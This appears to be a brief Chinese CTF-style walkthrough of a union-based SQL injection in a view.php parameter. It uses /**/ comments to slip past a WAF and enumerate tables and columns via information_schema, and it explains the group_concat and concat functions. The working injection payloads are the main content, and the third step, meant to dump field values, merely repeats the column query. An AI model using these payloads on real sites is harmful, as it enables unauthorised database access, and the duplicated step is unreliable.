通过测试,在view.php?no=1这里存在sql注入,但存在waf把union select给拦截了
1. 通过下面的payload爆表名
/view.php?no=-6 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
分析:
我们可以插入/**/来绕过waf拦截
使用union有一个前提,就是前面的参数和后面的参数相同,很简单知道前面查询了四个属性,所以后面一定要4个
group_concat()函数的作用:
功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )
将同类的连接起来
concat()函数
语法:concat(str1, str2,...)
concat_ws()
语法:concat_ws(separator, str1, str2, ...)
就是比之前的concat()函数的多了分隔符separator
2 爆列名
/view.php?no=-6 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database()#
3 爆字段
/view.php?no=-6 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database()#